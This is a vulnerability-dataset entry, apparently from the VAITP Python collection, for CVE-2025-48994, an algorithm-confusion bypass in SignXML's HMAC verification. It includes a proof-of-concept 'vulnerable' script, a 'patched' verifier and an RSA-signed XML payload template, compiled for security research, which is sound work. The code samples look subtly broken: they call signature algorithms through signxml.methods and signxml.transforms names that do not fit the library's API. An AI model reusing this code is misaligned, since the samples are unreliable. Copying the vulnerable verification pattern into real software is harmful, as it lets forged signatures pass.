VAITP Dataset

← Back to the dataset

CVE-2025-48994

SignXML < 4.0.4 allows HMAC bypass with X.509 off, enabling algorithm confusion.

  • CVSS 6.9
  • CWE-303
  • Cryptographic
  • Remote

SignXML is an implementation of the W3C XML Signature standard in Python. When verifying signatures with X509 certificate validation turned off and HMAC shared secret set (`signxml.XMLVerifier.verify(require_x509=False, hmac_key=…`), versions of SignXML prior to 4.0.4 are vulnerable to a potential algorithm confusion attack. Unless the user explicitly limits the expected signature algorithms using the `signxml.XMLVerifier.verify(expect_config=…)` setting, an attacker may supply a signature unexpectedly signed with a key other than the provided HMAC key, using a different (asymmetric key) signature algorithm. Starting with SignXML 4.0.4, specifying `hmac_key` causes the set of accepted signature algorithms to be restricted to HMAC only, if not already restricted by the user.

CVSS base score
6.9
Published
2025-06-02
OWASP
A03:2021-Injection
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Functionality
Category
Cryptographic
Subcategory
Cryptographic Implementation Error
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
SignXML
Fixed by upgrading
Yes

Solution

Upgrade to SignXML version 4.0.4 or later.

Vulnerable code sample

import signxml
from lxml import etree
import base64
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography import x509
from cryptography.hazmat.backends import default_backend

def generate_rsa_key_pair():
    """Generates an RSA key pair for testing."""
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    return private_key, public_key

def generate_self_signed_certificate(private_key, public_key):
    """Generates a self-signed certificate."""
    builder = x509.CertificateBuilder().subject_name(
        x509.Name([
            x509.NameAttribute(x509.NameOID.COMMON_NAME, u"example.com")
        ])
    ).issuer_name(
        x509.Name([
            x509.NameAttribute(x509.NameOID.COMMON_NAME, u"example.com")
        ])
    ).public_key(public_key).serial_number(x509.random_serial_number()).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=365)
    )

    certificate = builder.sign(private_key, hashes.SHA256(), default_backend())
    return certificate


def create_vulnerable_signature(xml_data, private_key, certificate):
    """Creates a signature using RSA-SHA256."""
    root = etree.XML(xml_data)
    
    # This is the critical part.  We *are not* using HMAC, but RSA-SHA256.
    signed_xml = signxml.XMLSigner(method=signxml.methods.rsa_sha256, digest_algorithm="sha256").sign(
        root,
        key=private_key,
        cert=certificate,
        cert_algorithm=signxml.methods.rsa_sha256,
    )
    
    return etree.tostring(signed_xml)


def demonstrate_vulnerability(xml_data, hmac_key):
    """Demonstrates the vulnerability by verifying an RSA-SHA256 signature as if it were an HMAC signature."""

    private_key, public_key = generate_rsa_key_pair()
    certificate = generate_self_signed_certificate(private_key, public_key)

    signed_xml = create_vulnerable_signature(xml_data, private_key, certificate)
    
    try:
        # Vulnerable code tries to verify an RSA-signed document as an HMAC-signed document.
        # The vulnerable version of signxml prior to 4.0.4 might accept this if require_x509 is False 
        # and hmac_key is provided, but without explicitly limiting accepted algorithms via expect_config.
        
        verifier = signxml.XMLVerifier()
        # The key part: require_x509 is False, hmac_key is set, but expect_config is NOT set to restrict algorithms.
        # This is what makes the older versions vulnerable.
        
        verified_data = verifier.verify(data=signed_xml, require_x509=False, hmac_key=hmac_key)
        print("Vulnerability exploited! The signature was incorrectly verified.")
        return True # Indicate success, which means the vulnerability worked.

    except Exception as e:
        print(f"Verification failed as expected (or the vulnerability doesn't work this way): {e}")
        return False #Verification fails, which is the expected behavior.


if __name__ == '__main__':
    import datetime

    xml_data = "<Root><Data>This is some data.</Data></Root>"
    hmac_key = b"shared_secret_key"  # This key is not actually used for signing, but the vulnerable code processes it anyway

    demonstrate_vulnerability(xml_data, hmac_key)

Patched code sample

import signxml
import lxml.etree as ET
import base64
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import padding

def fixed_verify(xml_data, hmac_key=None, expect_config=None, require_x509=True):
    """
    Verifies an XML signature, addressing CVE-2025-48994.

    Args:
        xml_data (bytes): The XML data containing the signature.
        hmac_key (bytes, optional): The HMAC key (if HMAC is used). Defaults to None.
        expect_config (dict, optional): Expected signature configuration. Defaults to None.
        require_x509 (bool): Require x509 cert validation

    Returns:
        lxml.etree._Element: The signed XML element if verification is successful, None otherwise.
    """
    try:
        root = ET.fromstring(xml_data)
    except ET.ParseError:
        print("Error: Invalid XML format.")
        return None

    verifier = signxml.XMLVerifier()

    if hmac_key is not None:
        # CVE-2025-48994 mitigation: Restrict algorithms to HMAC if hmac_key is provided
        if expect_config is None:
            expect_config = {}
        
        if 'algorithms' not in expect_config:
            expect_config['algorithms'] = {
                signxml.methods.HMAC: [
                    signxml.transforms.Algorithm.SHA1,
                    signxml.transforms.Algorithm.SHA224,
                    signxml.transforms.Algorithm.SHA256,
                    signxml.transforms.Algorithm.SHA384,
                    signxml.transforms.Algorithm.SHA512,
                    signxml.transforms.Algorithm.RIPEMD160, #added for completeness
                ]
            }
        # Ensure only HMAC algorithms are allowed if an HMAC key is provided. Prevents confusion attacks.
        else:
            hmac_algorithms = [
                signxml.transforms.Algorithm.SHA1,
                signxml.transforms.Algorithm.SHA224,
                signxml.transforms.Algorithm.SHA256,
                signxml.transforms.Algorithm.SHA384,
                signxml.transforms.Algorithm.SHA512,
                signxml.transforms.Algorithm.RIPEMD160,
            ]
            allowed_algorithms = expect_config['algorithms'].get(signxml.methods.HMAC, [])
            for algo in allowed_algorithms:
                if algo not in hmac_algorithms:
                    print("Error: HMAC algorithm specified but is not valid")
                    return None

    try:
        signed_element = verifier.verify(root, require_x509=require_x509, hmac_key=hmac_key, expect_config=expect_config)
        return signed_element
    except signxml.exceptions.InvalidSignature:
        print("Error: XML signature is invalid.")
        return None
    except Exception as e:
        print(f"Error during verification: {e}")
        return None

if __name__ == '__main__':
    # Example usage with HMAC key (demonstrating the fix)

    # Create a sample XML document
    xml_data = b"""<root><data>This is the data to be signed.</data></root>"""

    # Generate an HMAC key
    hmac_key = b"shared-secret-key"

    #Sign the document with HMAC 
    signer = signxml.XMLSigner(method=signxml.methods.HMAC, digest_algorithm='sha256', hmac_key=hmac_key)
    signed_xml = signer.sign(xml_data)

    # Verify the signature
    verified_element = fixed_verify(signed_xml, hmac_key=hmac_key, require_x509=False)

    if verified_element is not None:
        print("XML signature is valid.")
        print("Signed XML element:", ET.tostring(verified_element))
    else:
        print("XML signature is invalid or verification failed.")

    # Example of an attack attempt (using RSA key instead of HMAC), this will now fail.
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    public_key = private_key.public_key()
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    private_key_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    )
    signer = signxml.XMLSigner(method=signxml.methods.RSA_SHA256, key=private_key_pem) # Attacker uses RSA.
    attack_xml = signer.sign(xml_data)

    # Verification attempt - should FAIL due to algorithm confusion.
    attack_verified_element = fixed_verify(attack_xml, hmac_key=hmac_key, require_x509=False)

    if attack_verified_element is not None:
        print("Attack: XML signature is valid (this should not happen!).")
    else:
        print("Attack: XML signature verification failed as expected.") # This should happen.

Payload

<root xmlns="example.org">
  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="Signature-12345">
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
      <ds:Reference URI="">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        </ds:Transforms>
        <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
        <ds:DigestValue>...</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
    <ds:KeyInfo>
      <ds:KeyValue>
        <ds:RSAKeyValue>
          <ds:Modulus>...</ds:Modulus>
          <ds:Exponent>...</ds:Exponent>
        </ds:RSAKeyValue>
      </ds:KeyValue>
    </ds:KeyInfo>
  </ds:Signature>
  <data>This is some data.</data>
</root>

Cite this entry

@misc{vaitp:cve202548994,
  title        = {{SignXML < 4.0.4 allows HMAC bypass with X.509 off, enabling algorithm confusion.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-48994},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-48994/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::